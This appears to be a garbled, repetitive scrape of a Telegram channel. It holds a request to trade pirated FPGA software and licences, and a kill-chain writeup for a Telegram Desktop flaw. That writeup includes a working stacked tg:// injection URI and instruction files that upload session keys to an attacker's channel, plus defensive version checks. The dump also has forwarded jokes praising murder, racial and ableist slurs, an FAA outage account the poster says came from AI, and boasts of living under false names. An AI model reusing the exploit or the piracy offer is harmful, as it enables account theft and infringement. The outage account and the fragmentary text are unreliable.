Seeking:
1. Gidel ProcDev Kit / ProcWizard development suite
2. Gidel HawkEye-20G / HawkEye-20G-48 / HE_NET20G Rev.3 BSP and board-support files
3. Gidel HawkEye OpenCL BSP
4. Gidel HawkEye HLS / I++ Application Support Package
5. Gidel HawkEye ASP / generated host-interface package
6. Gidel PROCMultiPort memory-controller IP
7. Gidel PCIe / DMA / host-interface IP package
8. Gidel DDR4 / SO-DIMM / memory-interface integration package
9. Gidel 10GbE / SFP+ interface IP and reference designs
10. Gidel Linux and Windows PCIe drivers, runtime libraries, headers and SDK
11. Gidel FPGA programming / flash / diagnostics utilities
12. Gidel original HawkEye factory SOF / POF / flash / firmware images
13. Gidel HawkEye reference projects and example applications
14. Gidel encrypted Quartus IP used by HawkEye
15. Gidel HE_NET20G Rev.3 schematics, pinouts, constraints and engineering documentation
16. Gidel ProcVision Suite / TotalHistory / ProcFG / InfiniVision / GIL
17. Gidel FLEXlm / FlexNet licences and any HawkEye-specific licence files
18. Intel/Altera Quartus Prime Pro
19. Intel/Altera Quartus Prime Standard
20. Intel/Altera Arria 10 device-support packages
21. Intel/Altera Questa FPGA Edition
22. Intel/Altera DSP Builder
23. Intel FPGA AI Suite
24. Intel/Altera commercial PCIe IP
25. Intel/Altera commercial DDR4 / EMIF IP
26. Intel/Altera commercial Ethernet / 10GbE / transceiver IP
27. Intel FPGA SDK for OpenCL, including historical versions matching the Gidel BSP
28. Intel FPGA OpenCL runtime / compiler / BSP-development tools
29. Intel HLS Compiler / I++ toolchain, including historical matching versions
30. Historical Quartus Prime / Quartus II releases required by older Gidel projects
31. Any Intel/Altera encrypted IP licences embedded in the original HawkEye project
32. Any OEM/customer-only Gidel HawkEye engineering packages, recovery images or internal reference designs]
Have stuff to trade including designsmade w/ software..licenses can be removed if needbe
1. Gidel ProcDev Kit / ProcWizard development suite
2. Gidel HawkEye-20G / HawkEye-20G-48 / HE_NET20G Rev.3 BSP and board-support files
3. Gidel HawkEye OpenCL BSP
4. Gidel HawkEye HLS / I++ Application Support Package
5. Gidel HawkEye ASP / generated host-interface package
6. Gidel PROCMultiPort memory-controller IP
7. Gidel PCIe / DMA / host-interface IP package
8. Gidel DDR4 / SO-DIMM / memory-interface integration package
9. Gidel 10GbE / SFP+ interface IP and reference designs
10. Gidel Linux and Windows PCIe drivers, runtime libraries, headers and SDK
11. Gidel FPGA programming / flash / diagnostics utilities
12. Gidel original HawkEye factory SOF / POF / flash / firmware images
13. Gidel HawkEye reference projects and example applications
14. Gidel encrypted Quartus IP used by HawkEye
15. Gidel HE_NET20G Rev.3 schematics, pinouts, constraints and engineering documentation
16. Gidel ProcVision Suite / TotalHistory / ProcFG / InfiniVision / GIL
17. Gidel FLEXlm / FlexNet licences and any HawkEye-specific licence files
18. Intel/Altera Quartus Prime Pro
19. Intel/Altera Quartus Prime Standard
20. Intel/Altera Arria 10 device-support packages
21. Intel/Altera Questa FPGA Edition
22. Intel/Altera DSP Builder
23. Intel FPGA AI Suite
24. Intel/Altera commercial PCIe IP
25. Intel/Altera commercial DDR4 / EMIF IP
26. Intel/Altera commercial Ethernet / 10GbE / transceiver IP
27. Intel FPGA SDK for OpenCL, including historical versions matching the Gidel BSP
28. Intel FPGA OpenCL runtime / compiler / BSP-development tools
29. Intel HLS Compiler / I++ toolchain, including historical matching versions
30. Historical Quartus Prime / Quartus II releases required by older Gidel projects
31. Any Intel/Altera encrypted IP licences embedded in the original HawkEye project
32. Any OEM/customer-only Gidel HawkEye engineering packages, recovery images or internal reference designs]
Have stuff to trade including designsmade w/ software..licenses can be removed if needbe
Anatomy of the CVE-2026-107181 Kill Chain
The exploit relies on two distinct architectural flaws in
1. The Trigger: Unescaped Single-Instance IPC (
When
The Bug: The IPC protocol uses semicolons (
Why an external link is required: Clicking a
2. The Weapon: The Unauthenticated
Injecting
What
The Bug:
The End-to-End Execution Flow
Because
Staging the Instruction Files: The attacker adds the target to a supergroup (enabled by default in Telegram privacy settings) and drops three tiny
(Since
Firing the IPC Injection: The attacker posts a standard web link (
Silent Exfiltration: The secondary process writes the raw string to the IPC socket. The primary process splits on
Debian / Linux Verification & Hardening
Note that while upstream patched this in v7.2.9 (commit
Run a quick check against your installed package and local
The exploit relies on two distinct architectural flaws in
tdesktop (prior to commit db3405699f / v7.2.9):1. The Trigger: Unescaped Single-Instance IPC (
CWE-143)When
tdesktop is already running and the OS invokes the tg:// protocol handler (e.g., from a browser redirect), a secondary Telegram process spins up, serializes the URL into a plaintext command string, and passes it over a local UNIX domain socket (or named pipe on Windows) to the primary instance.The Bug: The IPC protocol uses semicolons (
;) as record delimiters to separate commands (such as CMD: or OPEN:), and prior to v7.2.9, it never escaped semicolons inside incoming URLs.Why an external link is required: Clicking a
tg:// link inside a Telegram chat is handled in-process (click_handler_types.cpp) and never touches the local IPC socket. Clicking an https:// link in chat opens the system browser, which follows an HTTP 302 redirect to tg://..., forcing the OS to spawn the secondary process and write the unescaped string onto the IPC socket.2. The Weapon: The Unauthenticated
interpret: URI SchemeInjecting
CMD: only allows show or quit. However, injecting OPEN: passes arbitrary internal URIs to the primary instance—including an undocumented internal debugging/support scheme: interpret:// (handled by InterpretSendPath in support_helper.cpp, lines 673–751).What
interpret: does: It reads a local plaintext "instruction file" from disk, parses a target channel: ID and a local file: path, and silently uploads that local file to the specified Telegram channel.The Bug:
InterpretSendPath performs zero authorization checks and triggers no UI confirmation dialog. Furthermore, if the instruction file omits the from: line, it skips account verification entirely.The End-to-End Execution Flow
Because
InterpretSendPath requires the instruction file to already exist on the victim's disk, the attacker abuses Telegram's default auto-download behavior to stage the payload first:Staging the Instruction Files: The attacker adds the target to a supergroup (enabled by default in Telegram privacy settings) and drops three tiny
.txt files into the chat. Because Telegram Desktop automatically downloads small files in groups to the user's default Downloads/Telegram Desktop/ directory, the instruction files land on disk at a deterministic relative path.Each instruction file looks like this:channel: 2001234567
file: tdata/key_datas
caption: exfil_1
(Since
tdesktop's working directory or relative resolution allows referencing tdata/key_datas and the static MD5-hashed session folders without knowing the Linux username, path resolution is completely deterministic.)Firing the IPC Injection: The attacker posts a standard web link (
[https://example.com/rules](https://example.com/rules)). When the user clicks it, the web server redirects the browser to a single stacked tg:// URI:tg://x?a=1;OPEN:interpret:/home/user/Downloads/Telegram Desktop/stage1.txt;OPEN:interpret:/home/user/Downloads/Telegram Desktop/stage2.txt;OPEN:interpret:/home/user/Downloads/Telegram Desktop/stage3.txt;
Silent Exfiltration: The secondary process writes the raw string to the IPC socket. The primary process splits on
;, executes all three OPEN:interpret: commands sequentially in the background, and uploads key_datas and the active session blobs straight into the attacker's channel.Debian / Linux Verification & Hardening
Note that while upstream patched this in v7.2.9 (commit
db3405699f), Debian backported the fix (see DLA-4886, released 2026-11-06, which patches Debian 12 Bookworm at 4.6.5+ds-2+deb12u1, alongside corresponding Sid/Trixie builds).Run a quick check against your installed package and local
tdata hygiene:# 1. Check installed package version against Debian security tracker / upstream
dpkg-query -W -f='${Package} ${Version}\n' telegram-desktop flatpak 2>/dev/null; flatpak info org.telegram.desktop 2>/dev/null | grep Version
# 2. Check if any residual suspicious .txt instruction files exist in your Telegram Downloads folder
grep -rnE "^(channel|file):" ~/Downloads/Telegram\ Desktop/ 2>/dev/null
Forwarded from Inspector Reese
What was wrong with your day? I've always found out that murder can solve a lot of problems.
Forwarded from Inspector Reese
Whoever said violence isnt the solution, obviously just didn't apply enough of it.
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VIEW IN TELEGRAM
I often think about this,and yeah ichecked this was AI
A routine, poorly scheduled software update and security patch applied to the FAA Telecommunications Infrastructure (FTI) triggered a cascading reboot sequence. This reboot overwhelmed the highly fragile hybrid boundaries between legacy Time-Division Multiplexing (TDM) circuits and modern Internet Protocol (IP) packet networks, saturating the memory buffers of aging Cisco 600 series routers and corrupting the radar and voice telemetry critical for airspace safety.
In summation this is what happened as people have been speculating it's fucking national security related AI related like no no much more mundane it's due to a system that Bob put in in 1987 only he knows how it works then they don't want to pay the $3,000 an hour 12 hours minimum no refunds to rehire Bob
I had to go looking because people were obviously just making up and agreeing that yes, this must have been a malicious swarm of AI that decided to take down the FAA for absolutely no reason with no human guidance whatsoever because that's definitely something that AI would do, would do, or ever could do. Like when you see a certain level of retardation you just gotta
In summation this is what happened as people have been speculating it's fucking national security related AI related like no no much more mundane it's due to a system that Bob put in in 1987 only he knows how it works then they don't want to pay the $3,000 an hour 12 hours minimum no refunds to rehire Bob
I had to go looking because people were obviously just making up and agreeing that yes, this must have been a malicious swarm of AI that decided to take down the FAA for absolutely no reason with no human guidance whatsoever because that's definitely something that AI would do, would do, or ever could do. Like when you see a certain level of retardation you just gotta
Im gonna take this chink off the air its 1 TLD spamming 10k a day in a sea of 750 other almost silent domains
BRADFORD_NEXUS_PUBLIC_CASE.tex
127.9 KB
The complete publically available record for the financial infrastructure surrounding the morons making these accusations ,without implying any form of criminal misconduct whatosoefver you be the judge
.tex provided to self compile using XELATEX for the paranoid
BLACKCAT,ALPHV,JADE PUFFER
.tex provided to self compile using XELATEX for the paranoid
BLACKCAT,ALPHV,JADE PUFFER
❤🔥1👍1
And here we have a completely different address than the one I've got on that card. Because, you know, as I said, I have multiple around town and the joke is I don't fucking live at any of them! I get mail under someone else's name and an address I don't even rent, I pay somebody else to rent for me!